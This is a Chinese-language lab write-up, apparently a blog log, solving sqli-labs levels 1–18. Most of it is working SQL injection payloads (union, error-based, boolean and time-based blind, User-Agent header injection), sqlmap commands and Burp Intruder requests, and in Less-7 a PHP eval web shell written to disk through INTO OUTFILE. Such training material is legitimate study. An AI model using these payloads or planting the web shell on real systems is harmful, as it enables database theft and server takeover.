sqli-labs基础关卡

# Less-1

date:2020-11-16 21:29:27

# 过程

根据题目提示:Please input the ID as parameter with numeric value ,注入点为 id

# sqlmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
爆库:
py sqlmap.py -u http://www.sqli-labs.com/Less-1?id=1 --dbs --batch
爆表:
py sqlmap.py -u http://www.sqli-labs.com/Less-1?id=1 -D security --tables --batch
爆字段:
py sqlmap.py -u http://www.sqli-labs.com/Less-1?id=1 -D security -T users --columns --batch
爆字段值:
py sqlmap.py -u http://www.sqli-labs.com/Less-1?id=1 -D security -T users -C id,password,username --dump --batch

拿到数据,别的表同理:
Database: security
Table: users
[13 entries]
+----+------------+----------+
| id | password | username |
+----+------------+----------+
| 1 | Dumb | Dumb |
| 2 | I-kill-you | Angelina |
| 3 | p@ssword | Dummy |
| 4 | crappy | secure |
| 5 | stupidity | stupid |
| 6 | genious | superman |
| 7 | mob!le | batman |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dumbo | dhakkan |
| 14 | admin4 | admin4 |
+----+------------+----------+

# 手工注入:

先小心翼翼地试一个 id=1

1
2
http://www.sqli-labs.com/Less-1/
?id=1

哦豁,有数据回显

1
2
Your Login name:Dumb
Your Password:Dumb

用 orderby 试一下要几个字段,但是发现随便 oderby 都是一样的回显…

1
2
http://www.sqli-labs.com/Less-1/
?id=2 order by 110

中间试了好多都没有给回应,加单引号报错看一下 sql 语句,先入为主以为是数字型的了,明明题目也写了… 蠢爆了!!!

1
2
3
4
http://www.sqli-labs.com/Less-1/
?id=1'
输出:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

orderby 试出来是要三个字段,因为要闭合后面的单引号好麻烦就直接用 #(URL 编码 %23)注释了后面的代码,自己搞

1
2
3
4
5
6
7
8
9
10
http://www.sqli-labs.com/Less-1/
?id=1' order by 3 limit 1 %23
输出:
Your Login name:Dumb
Your Password:Dumb

http://www.sqli-labs.com/Less-1/
?id=1' order by 4 limit 1 %23
输出:
Unknown column '4' in 'order clause'

三个字段,只输出了两个值,理所当然有一个 id 啦,所以第一个字段随便搞,后面两个字段用了输出我们要的数据,一套流程走

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
爆库,从mysql默认的数据库information_schema里找所有的数据,使用group_concat拼接:
http://www.sqli-labs.com/Less-1/
?id=666666' union select 1,database(),group_concat(schema_name) from information_schema.schemata %23
输出:
第二个字段是当前数据库security,第三个字段是输出localhost所有的数据库

爆表:
http://www.sqli-labs.com/Less-1/
?id=666666' union select 1,group_concat(table_name),3 from information_schema.tables where database()=table_schema %23
输出:
Your Login name:emails,referers,uagents,users
Your Password:3

爆字段:
http://www.sqli-labs.com/Less-1/
?id=666666' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' %23
输出:
Your Login name:user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password,level,id,username,password
Your Password:3

爆字段值:
http://www.sqli-labs.com/Less-1/
?id=666666' union select 1,group_concat(concat_ws('--',id,username,password)),3 from users+%23
输出:
Your Login name:1--Dumb--Dumb,2--Angelina--I-kill-you,3--Dummy--p@ssword,4--secure--crappy,5--stupid--stupidity,6--superman--genious,7--batman--mob!le,8--admin--admin,9--admin1--admin1,10--admin2--admin2,11--admin3--admin3,12--dhakkan--dumbo,14--admin4--admin4
Your Password:3

# 总结

  1. 虽然我觉得闭合引号很麻烦,但是我就是还是想去试一下,直接在最后闭合就可以了,也不会报语法错
1
2
http://www.sqli-labs.com/Less-1/
?id=1" order by 3 "

​ 那为什么大家闭合的时候都喜欢用

1
?id=1' and '1'='1
  1. 画面感地理解一下函数

    concat_ws () 是拼接一行的数据

    group_concat () 是拼接一列的数据

  2. 因为 sql 学的就很菜,有些语法函数什么的还要百度,mysql 里 information_schema 里的,很多表名和字段名经常搞混,手工注入的时候还要去看具体的表名和字段名,超级浪费时间的,可是记一下吧很久不写又忘记了,而且数据库那么多,默认的表都不一样,还是多写题 8

  3. 跑 sqlmap 的时候,会给出相应的 payload,有些写得真的超级复杂,说是为了绕过把,可是有个 select 就感觉绕不过去呀,等有一天我不再是一个连脚本都不会用的菜鸡了,有机会的话,想去研读一下源码


# Less-2

data: 2020-11-17 10:32:43

# 过程

和 less-1 相比就是少闭合了两个引号罢了

# sqlmap

同 Less-1

# 手工注入

判断 id 是注入点且需要三个字段:

1
payload:http://www.sqli-labs.com/Less-2?id=1 order by 4输出:Unknown column '4' in 'order clause'payload:http://www.sqli-labs.com/Less-2?id=1 order by 3输出:Your Login name:DumbYour Password:Dumb

和 less-1 一样一套流程:

1
爆库,第二个字段拼接改连接所有数据库名:http://www.sqli-labs.com/Less-2?id=-1 union select 1,group_concat(schema_name),3 from information_schema.schemata爆当前数据库的表:http://www.sqli-labs.com/Less-2?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where database()=table_schema爆字段:http://www.sqli-labs.com/Less-2?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'爆字段值:http://www.sqli-labs.com/Less-2?id=-1 union select 1,group_concat(concat_ws('--',username,password)),3 from users

# 总结

想当年我还是个不管写什么题目都要看通关手册的人,鼓掌!!!


# Less-3

date:2020-11-17 11:00:04

# 过程

# sqlmap

同 Less-1

# 手工注入

加单引号报错,看后面具体要闭合啥

payload:

1
http://www.sqli-labs.com/Less-3?id=1asdf'kkkk

输出,发现后面有括号啥的闭合一下,并且 id 也是字符型的:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'kkkk') LIMIT 0,1' at line 1

根据 order by 判断需要的字段数是 3 个

payload:

1
http://www.sqli-labs.com/Less-3?id=-1') order by 4 --+http://www.sqli-labs.com/Less-3?id=-1') order by 3 --+

脱脱脱:

1
爆库,第二个字段拼接改连接所有数据库名:http://www.sqli-labs.com/Less-3?id=-1') union select 1,group_concat(schema_name),3 from information_schema.schemata --+爆当前数据库的表:http://www.sqli-labs.com/Less-3?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where database()=table_schema --+爆字段:http://www.sqli-labs.com/Less-3?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+爆字段值:http://www.sqli-labs.com/Less-3?id=-1') union select 1,group_concat(concat_ws('--',username,password)),3 from users --+

# 总结

?id=1" 竟然正常返回信息了!!!

因为 id=xx (‘1"’) 了啊,根本没闭合啊,有点弱智哦


# Less-4

date:2020-11-17 11:25:45

# 过程

# sqlmap

同 Less-1

# 手工注入

发现双引号报错,所以可以直接在后面加 ") %23+ 进行闭合

1
http://www.sqli-labs.com/Less-4?id=1"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

根据 order by 确定是三个字段后,union select 拿数据

1
爆库,第二个字段拼接改连接所有数据库名:http://www.sqli-labs.com/Less-4?id=-1") union select 1,group_concat(schema_name),3 from information_schema.schemata --+爆当前数据库的表:http://www.sqli-labs.com/Less-4?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where database()=table_schema --+爆字段:http://www.sqli-labs.com/Less-4?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+爆字段值:http://www.sqli-labs.com/Less-4?id=-1") union select 1,group_concat(concat_ws('--',username,password)),3 from users --+

# 总结

没啥好说的


# Less-5

date:2020-11-17 11:48:40

# 过程

# sqlmap

同 Less-1

# 手工注入

单引号报错,payload

1
http://www.sqli-labs.com/Less-5?id=1'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

‘‘1’’ LIMIT 0,1’第一个单引号真的巨坑,总是眼糊看错成 SQL 语句里面的

闭合单引号,用 order by 确定是提取了三个字段,但是页面上并没有输出字段的值,目测是后台进行了判断

1
http://www.sqli-labs.com/Less-5?id=1' order by 3 +%23+输出:You are in...........

前端没有发现啥有用的东西,撸了一下 floor 报错,开干

爆库 payload

1
http://www.sqli-labs.com/Less-5?id=1' AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT(database(),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)AND '1'='1

然后像以前一样的流程,在 concat 里面找自己要的数据就好了

# 总结

  1. select count (*) from test group by floor (rand (0)*2) 报错原理 666

    概括一下:

    floor (rand (0)*2) 是随机 0、1,但是是伪随机 011011…

    count (*) 与 group by 共同工作时会建立一张虚拟表,两个字段 (关键字和数量)

    floor 表达式第一次运算的值为 0,在表中没有找到 key 为 0 的数据,故插入,在插入的过程中需要再取一次 group by 后面的值(即再进行一次 floor 运算,结果为 1),取到了 1,将之插入,并将 count (*) 置 1。

    也就是说一次插入要调用两次 floor,所以在后面碰见 01 时,0 没有,插入 1,但是 1 已经存在,报错

  2. payload 是 sqlmap 复制后修改的,自己手动输入的总是说有语法错,我对着看了好多遍感觉没有什么问题啊,无理取闹,后来看报错应该是 and 后面的 select from 的表要别名 (Every derived table must have its own alias),select from 外面还要加一个括号


# Less-6

data: 2020-11-17 15:50:40

# 过程

# sqlmap

同 Less-1

# 手工注入

输入了 less-5 里面的 payload,发现不报错了!

机智的我去看 sqlmap 发现就是变成了闭合双引号罢了唉,人傻了

爆当前库 payload:

1
http://www.sqli-labs.com/Less-6?id=1" AND(SELECT 1 FROM(SELECT COUNT(*),CONCAT(database(),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)AND '1'="1

CONCAT (payload,floor (rand (0)*2)) 作为 group by 的 key

# 总结

没啥好总结的,还以为又有新东西可以看了


# Less-7

date:2020-11-17 16:09:39

# 过程

# sqlmap

同 Less-1

sqlmap 用的时间盲注,它自己跑着跑着连接就断了,笑死

# 手工注入

试了一些,目测后台做了判断

sql 报错统一输出:

You have an error in your SQL syntax

正常输出:You are in… Use outfile…

盲注的话,二分法判断字符的 ascii 码值,sqlmap 都说它扛不住了

看见正常输出那里有个 use outfile…,感觉是个提示,新东西就要百度看看,好叭这里直接看通关秘籍了,竟然直接写入文件 getshell 了…

太帅了,动手撸一遍

要上传一句话连接的话,需要知道路径,去有回显的题拿路径啦

basedir 参数指定了安装 MySQL 的安装路径

datadir 参数指定了 MySQL 的数据库文件放在什么路径下

payload:

1
http://www.sqli-labs.com/Less-1/?id=-1' union select 1,@@datadir,@@basedir MYSQL %23+

输出,并没有 phpstudy 的路径,因为我根本没用 phpstudy 的数据库…:

1
Your Login name:C:\ProgramData\MySQL\MySQL Server 5.5\Data\Your Password:C:/Program Files (x86)/MySQL/MySQL Server 5.5/

尝试在获取到的路径下存入 php 一句话:

1
http://www.sqli-labs.com/Less-7/?id=1 union select '<?php eval(@_POST["haha"]); ?>' into outfile 'C:/ProgramData/MySQL/MySQL Server 5.5/Data/haha.php' %23+

但是一直报错,愤怒地直接去 mysql 运行的时候,发现报错:

1
[SQL] select '<?php eval(@_POST["haha"]); ?>' into outfile 'C:/haha.php'[Err] 1290 - The MySQL server is running with the --secure-file-priv option so it cannot execute this statement

去查了一下报错原因:

1
2
3
4
5
将桌面文件存储到mysql时报错:The MySQL server is running with the --secure-file-pri option so it cannot execute this.
报错原因:mysql文件的导入和导出路径有默认的设置,即 secure-file-priv,当传入的csv文件路径与默认的路径冲突时就会报错。
secure-file-priv的值有三种情况:secure_file_prive=null ––限制mysqld 不允许导入导出
secure_file_priv=/path/ – --限制mysqld的导入导出只能发生在默认的/path/目录下
secure_file_priv=’’ – --不对mysqld 的导入 导出做限制

通过命令 select @@secure_file_priv 查询,发现 secure_file_priv 的值为 null,也就是说不允许导入导出

于是到 mysql 的安装目录下修改 my.ini 配置文件,在 mysqld 节点下加入 secure_file_priv=’’,对导入导出不进行限制

在尝试 payload 时,

?id=1 order by 111111 %23 + 不报错

?id=1’ order by 111111 %23 + 报错

?id=1" order by 111111 %23 + 不报错

说明有一个单引号要闭合

?id=1’ order by 1 %23 + 报错

?id=1’)) order by 3 %23 + 不报错

?id=1’)) order by 4 %23 + 报错

闭合成功,且需要三个字段

payload:

1
http://www.sqli-labs.com/Less-7?id=1')) union select '<?php @eval($_POST["haha"]); ?>',2,3 into outfile 'D:/haha.php' %23+

虽然输出还是报错,但是文件已经上传到 D 盘了(因为这个 sql 语句我已经在数据库试了很多遍了…)

但是因为我的 mysql 不是 PHPstudy 的,所以没有搞到 phpstudy 的路径,没有上传到 phpstudy 目录下,也连接不上解析不了?

机智的我决定手动复制到 www 下

上蚁剑连接成功

另外要看数据库数据的话可以通过改上面的 p 输出文件,然后上蚁剑查看输出的文件内容,其余的爆数据库和之前的题目都一样的流程,例如爆当前数据库名:

1
http://www.sqli-labs.com/Less-7?id=1')) union select database(),2,3 into outfile 'D:/haha.php' %23+

因为用命令行登录数据库需要密码

# 总结

  1. MySQL 的 @与 @@区别

    @x 是 用户自定义的变量 (User variables are written as @var_name)

    @@x 是 global 或 session 变量 (@@global @@session)

  2. 菜鸡的悲哀就是做个题还要靠作弊(菜菜子不要难过!你会变强的!)


# Less-8

date:2020-11-21 13:58:47

# 过程

# sqlmap

同 less-1,看见 sqlmap 的 payload,它也是盲注咯

# 手工注入

单引号闭合后分别 order by 3 和 4,发现一个正常输出一个不输出,说明单引号闭合成功,order by 执行成功,且需要三个字段,payload:

1
http://www.sqli-labs.com/Less-8?id=1' order by 3 %23+http://www.sqli-labs.com/Less-8?id=1' order by 4 %23+

没有回显数据,只能盲注

尝试第七关的 outfile 上传文件,上传成功,上蚁剑连接

换个思路,上盲注,看题目是布尔盲注,一个一个猜呗,机智的我决定先测试出长度再上 bp 爆

length () 函数,显而易见是返回里面参数的长度

substr (a,b,c) 函数,显而易见是截断字符串 a,b 位置开始截取 c 个字符

payload:

1
http://www.sqli-labs.com/Less-8?id=1' and (select length(database()))=8 %23+

=8 时正常输出,说明当前数据库名字长度为 8

上 bp, 选中 Intruder

攻击模式可以选 sniper 也可以选 clusterbomb,都很方便,字典直接用 excel 下拉到 127 的…,一个一个打也太费劲了把

从 1 到 127 一个一个猜数据库名中的字符,根据返回数据的长度不同找到正确的 ascii 码值:

1
GET /Less-8/?id=1%27%20and%20(select%20ascii(substr(database(),§1§,1)))=§115§%20%23+ HTTP/1.1Host: www.sqli-labs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateDNT: 1Connection: keep-aliveUpgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cache

这里就不上 bp 图了,不好搞,用的笛卡尔乘积,发了一千多个请求就爆了个当前数据库名,要爆别的在上面 payload 改改完事:

request payload1 payload2 status timeout error length
0 200 false false 950
787 3 99 200 false false 950
802 2 101 200 false false 950
838 6 105 200 false false 950
909 5 114 200 false false 950
913 1 115 200 false false 950
927 7 116 200 false false 950
932 4 117 200 false false 950
968 8 121 200 false false 950
1 1 1 200 false false 966
2 2 1 200 false false 966
3 3 1 200 false false 966
4 4 1 200 false false 966
5 5 1 200 false false 966
6 6 1 200 false false 966

# 总结

盲注一个个手打的话就是很费时间,疲惫

有 sqlmap 真好


# Less-9

date:2020-11-21 15:10:01

# 过程

# sqlmap

同 less-1

# 手工注入

不管输入什么都是正常输出,明明输入的 id 数据库里面就没有,还说 you are in,用户体验差评:

1
Welcome    DhakkanYou are in...........

利用 if () 函数进行时间盲注,发现闭合单引号的时候它就一直睡觉咯

payload:

1
http://www.sqli-labs.com/Less-9?id=1' and if((1=2),1,sleep(2333)) %23

和布尔盲注类似,但是是根据服务器响应的时间长短进行判断了,开干

payload:

1
http://www.sqli-labs.com/Less-9?id=1' and if((length(database())=8),sleep(2333),1) %23

判断出 database () 的长度是 8 个字符,还是接着上 bp:

1
GET /Less-9/?id=1%27%20and%20if((ascii(substr(database(),§1§,1))=§115§),sleep(11),1)%20%23 HTTP/1.1Host: www.sqli-labs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateDNT: 1Connection: keep-aliveUpgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cache

bp 的 result,根据 ascii 值就可以吧当前数据名弄出来了:

request payload1 payload2 status timeout error length
0 200 false false 988
787 3 99 200 false false 988
802 2 101 200 false false 988
838 6 105 200 false false 988
909 5 114 200 false false 988
913 1 115 200 false false 988
927 7 116 200 false false 988
932 4 117 200 false false 988
968 8 121 200 false false 988
1 1 1 200 false false 951
2 2 1 200 false false 951
3 3 1 200 false false 951
4 4 1 200 false false 951

# 总结

其实想节省时间可以去看数据库的命名规范,确定要测试的字符有哪些,这样在进行大量数据测试的时候会节省一些时间


# Less-10

date:2020-11-21 15:55:10

# 过程

# sqlmap

同 less-1

# 手工注入

和 less-9 相比就是单引号闭合变成了双引号闭合

用这个 payload,服务器就睡觉啦:

1
http://www.sqli-labs.com/Less-10?id=1" and if((1=1),sleep(2333),1) %23+

后面的流程和 less-9 一样

# 总结

遇到这个题目也不知道是该开心还是该开心


# Less-11

date:2020-11-21 16:23:25

# 过程

写完时间盲注的我,看见这道题目,眼前一亮!终于换题目啦哈哈哈哈哈哈哈嗝

# sqlmap

sqlmap 测 post 请求可以用参数 forms

这里用的–forms 参数,直接搞到所有数据库了:

1
py sqlmap.py -u http://www.sqli-labs.com/Less-11 --forms --dbs --batch

后面爆字段值改参数就可以了,同 less-1

# 手工注入

看见登录框就想 admin/123456 登录(竟然失败了!气人!)

抓包看见的是 post 请求,所以不能和之前一样直接在 url 后面接参数了,那就在输入框直接注入哈哈哈

payload,username 最后面有个空格,不加空格注释符号和后面的符号连接在一起,就起不到注释的功能啦:

1
Username :    admin' or 1=1 -- Password :    123456

输出:

1
Your Login name:DumbYour Password:Dumb

有数据回显,舒服了

上 bp 抓包,直接改后面的参数,根据 order by 确定需要两个字段:

1
POST /Less-11/ HTTP/1.1Host: www.sqli-labs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://www.sqli-labs.com/Less-11/Content-Type: application/x-www-form-urlencodedContent-Length: 51Origin: http://www.sqli-labs.comDNT: 1Connection: closeUpgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cacheuname=admin%27 order by 2+--+&passwd=&submit=Submit

输出,竟然真的有一个 admin/admin…:

1
<br>Your Login name:admin<br>Your Password:admin<br>

爆数据库 payload:

1
uname=zhatian%27 union select 1,group_concat(schema_name) from information_schema.schemata+--+&passwd=&submit=Submit

输出:

1
<br>Your Login name:1<br>Your Password:information_schema,bookstore,challenges,dvwa,edusys,exam,fresh,hotel,hy,hy2,mysql,news,pentest,performance_schema,pikachu,security,store,student,test,vote<br>

爆表 payload:

1
uname=zhatian%27 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()+--+&passwd=&submit=Submit

输出:

1
<br>Your Login name:1<br>Your Password:emails,referers,uagents,users<br

爆字段:

1
uname=zhatian%27 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'+--+&passwd=&submit=Submit

输出:

1
<br>Your Login name:1<br>Your Password:user_id,first_name,last_name,user,password,avatar,last_login,failed_login,id,username,password,level,id,username,password<br>

爆字段值:

1
uname=zhatian%27 union select 1,group_concat(concat_ws('--',username,password)) from users +--+&passwd=&submit=Submit

输出:

1
<br>Your Login name:1<br>Your Password:Dumb--Dumb,Angelina--I-kill-you,Dummy--p@ssword,secure--crappy,stupid--stupidity,superman--genious,batman--mob!le,admin--admin,admin1--admin1,admin2--admin2,admin3--admin3,dhakkan--dumbo,admin4--admin4<br

后面的都是常规操作了

# 总结

sqlmap 测 post 请求可以用参数 forms,直接获取表单,可以使用 - r 参数读取请求文件,或者通过–data 参数测试,具体情况具体百度

-r 读取的文件可以用 bp 抓包,右键 copy to file,直接导出 txt 文件


# Less-12

# 过程

date:2020-11-21 17:21:22

# sqlmap

同 less-11

# 手工注入

上 bp 抓包

发现双引号报错,payload:

1
uname=admin"+or+1%3D1+--+&passwd=1234&submit=Submit

输出:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

我???

生气的乱搞了:

1
uname=admin"5678+or+1%3D1+--+&passwd=1234&submit=Submit

输出:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '5678 or 1=1 -- ") and password=("1234") LIMIT 0,1' at line 1

这下出来了把,后面是 "),再加个括号闭合一下下,分别 order by2 和 3,确定是两个字段

1
uname=admin123455")+order by 3--+&passwd=1234&submit=Submit

输出当前数据库~

1
uname=admin123455")+union select 1,database()--+&passwd=1234&submit=Submit

输出:

1
<br>Your Login name:1<br>Your Password:security<br>

后续操作参考 less-11

# 总结

和上一关比就是单引号闭合变成 ") 闭合了,和前面十关做的题目一样呀,后面不会还是一样的吧,然后写完盲注就没了把

唉,我觉得我的专注力有点不太够,才写了几道题啊,还花了这么长时间,真是废物


# Less-13

date:2020-11-21 18:08:01

# 过程

# sqlmap

同 less-11

# 手工注入

盲猜这题是 ')) 闭合,payload:

1
uname=admin%27%29%29+or+1%3D1+--+23&passwd=32&submit=Submit

输出:

1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ') or 1=1 -- 23') and password=('32') LIMIT 0,1' at line 1

哦豁,是 ') 闭合,生气!闭合:

1
uname=admin') or 1=1+--+23&passwd=32&submit=Submit

输出只有一张图片,表示闭合成功,没有数据回显

那就用报错来看数据呗,正好报错注入的函数我用的少

extractvalue (目标 xml 文档,xml 路径) 用于查询 xml 文件

第二个参数 xml 中的位置是可操作的地方,xml 文档中查找字符位置是用 /xxx/xxx/xxx/… 这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容

payload:

1
uname=admin') and extractvalue(1,concat('~',database()))+--+23&passwd=32&submit=Submit

输出得到当前数据库名:

1
XPATH syntax error: '~security

拿别的数据在 xml 路径那里改 payload 即可,参考 less-11

# 总结

十种 sql 报错注入姿势总结


# Less-14

date:2020-11-21 19:47:21

# 过程

# sqlmap

同 less-11

# 手工注入

直接双引号闭合了,payload:

1
uname=admin" order by 666+--+&passwd=123&submit=Submit

输出:

1
Unknown column '666' in 'order clause'

能闭合了就随便用之前的哪个方法拿数据都可以啦,用报错注入拿个数据库名:

1
uname=admin" and extractvalue(1,concat('~',database()))+--+&passwd=123&submit=Submit

输出:

1
XPATH syntax error: '~security'

别的同 Less-11

# 总结

这,没啥


# Less-15

date:2020-11-21 20:03:27

# 过程

# sqlmap

同 less-11

# 手工注入

看标题,布尔盲注,行叭,上 bp 抓包

单引号闭合后接 order by 2,给的是 flag.jpg

接 order by 2,给的是 slap.jpg

明显 flag.jpg 的就是登陆成功嘛

说明单引号闭合成功且需要的是两个字段:

1
uname=admin' order by 3+--+&passwd=&submit=Submit

还是先利用 if 判断,把数据库名字长度搞出来,利用一下 payload,服务器沉睡了好一会才醒来,那么长度就是 8 啦!

1
uname=admin' and if( length(database())=8,sleep(23),1 )+--+&passwd=&submit=Submit

一个一个字符猜,这种搬砖的活还是交给 bp 把

右键 send to Intruder,attack type 选 cluster bomb:

1
POST /Less-15/ HTTP/1.1Host: www.sqli-labs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://www.sqli-labs.com/Less-15/Content-Type: application/x-www-form-urlencodedContent-Length: 81Origin: http://www.sqli-labs.comDNT: 1Connection: closeUpgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cacheuname=admin' and if( ascii(substr(database(),§1§,1))=§8§,sleep(23),1 )+--+&passwd=&submit=Submit

第一个参数从 1-8,第二个参数从 1-127,最后根据 ascii 值把数据库名拖出来,爆字段参考 less-11

request payload1 payload2 status timeout error length
787 3 99 200 false false 1691
802 2 101 200 false false 1691
838 6 105 200 false false 1691
909 5 114 200 false false 1691
913 1 115 200 false false 1691
927 7 116 200 false false 1691
932 4 117 200 false false 1691
968 8 121 200 false false 1691
0 200 false false 1737
2 2 1 200 false false 1737
1 1 1 200 false false 1737
3 3 1 200 false false 1737

# 总结


# Less-16

date:2020-11-21 22:33:47

# 过程

# sqlmap

同 less-11

# 手工注入

username 输入 admin") or 1=1 -- 直接登录成功,不要忘记–后面的空格哈

因为可以根据图片的显示判断,所以其实时间盲注还是布尔盲注都是可以的呀,只是前面那道题用过布尔盲注了,这里就用时间盲注

老规矩先判断数据库长度是 8:

1
admin") and length(database())=8 -- 

然后搬砖找 bp,send to Intruder:

1
POST /Less-16/ HTTP/1.1Host: www.sqli-labs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://www.sqli-labs.com/Less-16/Content-Type: application/x-www-form-urlencodedContent-Length: 78Origin: http://www.sqli-labs.comDNT: 1Connection: closeUpgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cacheunameadmin") and if(ascii(substr(database(),§1§,1))=§8§,slepp(23),1)--+&passwd=&submit=Submit

第一个参数从 1-8,第二个参数从 1-127,最后根据 ascii 值把数据库名拖出来,爆字段参考 less-11

request payload1 payload2 status timeout error length
787 3 99 200 false false 1712
802 2 101 200 false false 1712
838 6 105 200 false false 1712
909 5 114 200 false false 1712
913 1 115 200 false false 1712
927 7 116 200 false false 1712
932 4 117 200 false false 1712
968 8 121 200 false false 1712
0 200 false false 1749
1 1 1 200 false false 1749

# 总结

bp 真好,sqlmap 真好,搬砖真难


# Less-17(sqlmaping)

date:2020-11-21 22:54:56

# 过程

看见题目又开心了起来,不是盲注啦

# sqlmap

bp 抓包右键 copy to file 生成 17.txt

1
python sqlmap.py -r 17.txt --risk=3 --dbs --batch

后续同 less-11

# 手工注入

username 输入 admin' or 1=1 --

竟然返回 bug off,you silly dump hacker

哦豁,骂我,我要干你,等着

我怀疑后台判断了用户输入,然后无数次尝试无数次被骂,我决定偷偷看一下源码

源码中对 uname 限制了只能 15 个字符,单是这个就已经很无力了,后来看完源码才发现这是一个重置密码的表单,而且源码中并没有对 passwd 做限制

眼瞎的我决定用时间盲注,bp send to repeater:

1
uname=admin&passwd=1' where 1=1 and if( length(database())=8,sleep(10),1 )--+&submit=Submit

哈哈 服务器睡着啦,随后时间盲注就可以了,和上面的题目一样

# 总结

感觉用得多的还是盲注

盲注手工注入最快就是用二分法,但是我是有 bp 的人!

  1. –risk=RISK 风险(1-4,默认 1)升高风险等级会增加数据被篡改的风险。risk 2:基于事件的测试;risk 3:or 语句的测试;risk 4:update 的测试

# Less-18

date:2020-11-22 00:19:07

# 过程

题目提示,Your IP ADDRESS is: 127.0.0.1,这题我会!肯定是 xff 头注入!(结果不是)

# sqlmap

bp 抓包右键 copy to file 生成 18.txt

1
python sqlmap.py -r 18.txt --level=5 --risk=3 --dbs --batch

后续同 less-11

# 手工注入

既然不是 xff 头,那就看一下源码把

源码中对账户密码进行了判断,必须要绕过去才能进行头注入,刚好上一题重置了密码

那么就输入相应的账户密码,再在 user-agent 上注入就好啦,先来个单引号报错:

1
POST /Less-18/ HTTP/1.1Host: www.sqli-labs.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://www.sqli-labs.com/Less-18/Content-Type: application/x-www-form-urlencodedContent-Length: 34Origin: http://www.sqli-labs.comDNT: 1Connection: closeUpgrade-Insecure-Requests: 1Pragma: no-cacheCache-Control: no-cacheuname=admin&passwd=1&submit=Submit

输出:

1
<br>Your IP ADDRESS is: 127.0.0.1<br><font color= "#FFFF00" font size = 3 ></font><font color= "#0000ff" font size = 3 >Your User Agent is: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:83.0) Gecko/20100101 Firefox/83.0'</font><br>You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '127.0.0.1', 'admin')' at line 1<br><br><img src="../images/flag.jpg"  /><br>

讲道理这里肯定是插入操作,那就是 insert 注入咯,源码确实是 insert,其实不管是什么注入,只要能大概弄 sql 语句,顺利让数据库执行我们的代码即可

拿 database () 这里利用报错注入,payload:

1
